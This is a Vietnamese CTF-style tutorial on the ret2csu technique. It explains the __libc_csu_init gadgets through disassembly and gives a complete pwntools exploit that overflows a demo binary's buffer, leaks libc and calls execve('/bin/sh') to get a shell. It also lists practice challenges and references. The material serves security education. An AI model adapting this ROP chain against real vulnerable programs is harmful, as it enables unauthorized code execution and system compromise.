Return to CSU
0x1 Overview #
Khi một file ELF được thực thi, ít nhất chúng ta đã biết được chương trình không phải bắt đầu ngay từ hàm main()
, mà là từ một số hàm như _start()
hay __libc_start_main()
. Mục đích của chúng nhằm khởi tạo các giá trị môi trường, load thông tin về những secction khi được thực thi cũng như khi kết thúc chương trình.
Chúng ta có thể quan sát thứ tự thực hiện các hàm khi thực thi chương trình ở đây
Điều làm chúng ta quan tâm nhất đó chính là hàm __libc_csu_init()
. Quan sát mã assembly hàm này, ta thấy có những gadget rất thú vị
<__libc_csu_init+0>: endbr64
<__libc_csu_init+4>: push r15
<__libc_csu_init+6>: lea r15,[rip+0x2c53]
<__libc_csu_init+13>: push r14
<__libc_csu_init+15>: mov r14,rdx
<__libc_csu_init+18>: push r13
<__libc_csu_init+20>: mov r13,rsi
<__libc_csu_init+23>: push r12
<__libc_csu_init+25>: mov r12d,edi
<__libc_csu_init+28>: push rbp
<__libc_csu_init+29>: lea rbp,[rip+0x2c44]
<__libc_csu_init+36>: push rbx
<__libc_csu_init+37>: sub rbp,r15
<__libc_csu_init+40>: sub rsp,0x8
<__libc_csu_init+44>: call 0x401000 <_init>
<__libc_csu_init+49>: sar rbp,0x3
<__libc_csu_init+53>: je 0x401206 <__libc_csu_init+86>
<__libc_csu_init+55>: xor ebx,ebx
<__libc_csu_init+57>: nop DWORD PTR [rax+0x0]
<__libc_csu_init+64>: mov rdx,r14 ; Gadget 2
<__libc_csu_init+67>: mov rsi,r13
<__libc_csu_init+70>: mov edi,r12d
<__libc_csu_init+73>: call QWORD PTR [r15+rbx*8]
<__libc_csu_init+77>: add rbx,0x1
<__libc_csu_init+81>: cmp rbp,rbx
<__libc_csu_init+84>: jne 0x4011f0 <__libc_csu_init+64>
<__libc_csu_init+86>: add rsp,0x8
<__libc_csu_init+90>: pop rbx ; Gadget 1
<__libc_csu_init+91>: pop rbp
<__libc_csu_init+92>: pop r12
<__libc_csu_init+94>: pop r13
<__libc_csu_init+96>: pop r14
<__libc_csu_init+98>: pop r15
<__libc_csu_init+100>: ret
Nếu như ta chain Gadget 1 với Gadget 2, ta có thể kiểm soát được giá trị cho các thanh ghi quan trọng như rbx
, rbp
, edi
, rsi
, rdx
. Cũng như có thể call được địa chỉ ở r15
. Để đơn giản, ta sẽ đặt rbx = 0
.
Điều đặc biệt, ta có thể quay lại chương trình nhờ đoạn mã sau
<__libc_csu_init+77>: add rbx,0x1
<__libc_csu_init+81>: cmp rbp,rbx
<__libc_csu_init+84>: jne 0x4011f0 <__libc_csu_init+64>
🔥 Vì sức mạnh tuyệt đối của kỹ thuật này, nó đã bị xóa ở các phiên bản Glibc 2.34 https://sourceware.org/legacy-ml/libc-alpha/2018-06/msg00717.html
0x2 Demo #
File: https://github.com/Hellsender01/Youtube/blob/main/Binary Exploitation/B. Ret2CSU/ret2csu
Dễ thấy bài này có lỗ hổng BOF ở hàm vuln()
ssize_t vuln()
{
char buf[48]; // [rsp+0h] [rbp-30h] BYREF
write(1, szEnterData, 0xDuLL);
return read(0, buf, 300uLL);
}
Full exploit
from pwn import *
import time
context.binary = elf = ELF("./ret2csu")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process(elf.path)
poprdi = 0x401213
poprsi = 0x401211
gadget1 = 0x40120a
gadget2 = 0x4011f0
# write(1, &write, 8)
payload = b"x" * 56 + p64(gadget1)
payload += p64(0) + p64(0x1) + p64(0x1) + p64(elf.got["write"]) + p64(0x8) + p64(elf.got["write"])
payload += p64(gadget2)
payload += p64(0xdeadbeef) * 7 + p64(elf.symbols["vuln"])
p.sendafter(b"Enter Data - ", payload)
libcleak = u64(p.recv(8))
libc_base = libcleak - libc.symbols["write"]
log.info(f"libc leak: {hex(libcleak)}")
log.info(f"libc base: {hex(libc_base)}")
# read(0, &bss, 0x100) ; bss: &execve
payload = b"x" * 56 + p64(gadget1)
payload += p64(0) + p64(0x1) + p64(0) + p64(elf.bss()) + p64(0x100) + p64(elf.got["read"])
payload += p64(gadget2)
payload += p64(0xabcd) * 7 + p64(elf.symbols["vuln"])
p.sendafter(b"Enter Data - ", payload)
time.sleep(1)
p.send(p64(libc_base + libc.symbols["execve"]))
# read(0, &bss+10, 0x100) ; bss + 0x20: "/bin/sh\x00"
payload = b"x" * 56 + p64(gadget1)
payload += p64(0) + p64(0x1) + p64(0) + p64(elf.bss() + 0x20) + p64(0x100) + p64(elf.got["read"])
payload += p64(gadget2)
payload += p64(0x1234) * 7 + p64(elf.symbols["vuln"])
p.sendafter(b"Enter Data - ", payload)
time.sleep(1)
p.send(b"/bin/sh\x00")
# execve(&"/bin/sh", 0, 0)
payload = b"x" * 56 + p64(gadget1)
payload += p64(0) + p64(0x1) + p64(elf.bss() + 0x20) + p64(0) + p64(0) + p64(elf.bss())
payload += p64(gadget2)
p.sendafter(b"Enter Data - ", payload)
p.interactive()
0x3 Practice #
- babyrop DiceCTF 2021
- https://github.com/dicegang/dicectf-2021-challenges/tree/master/pwn/babyrop
- https://ptr-yudai.hatenablog.com/entry/2021/02/11/135521#pwn-116pts-babyrop-163-solves
- https://ropemporium.com/challenge/ret2csu.html
0x4 References #
- https://i.blackhat.com/briefings/asia/2018/asia-18-Marco-return-to-csu-a-new-method-to-bypass-the-64-bit-Linux-ASLR-wp.pdf
- https://gist.github.com/kaftejiman/a853ccb659fc3633aa1e61a9e26266e9
- https://hackmd.io/@whoisthatguy/ret2csu#ret2csu—alternative-way-to-bypass-ASLR
- https://xz.aliyun.com/t/4068
- https://github.com/nushosilayer8/pwn/tree/master/ret2_csu_init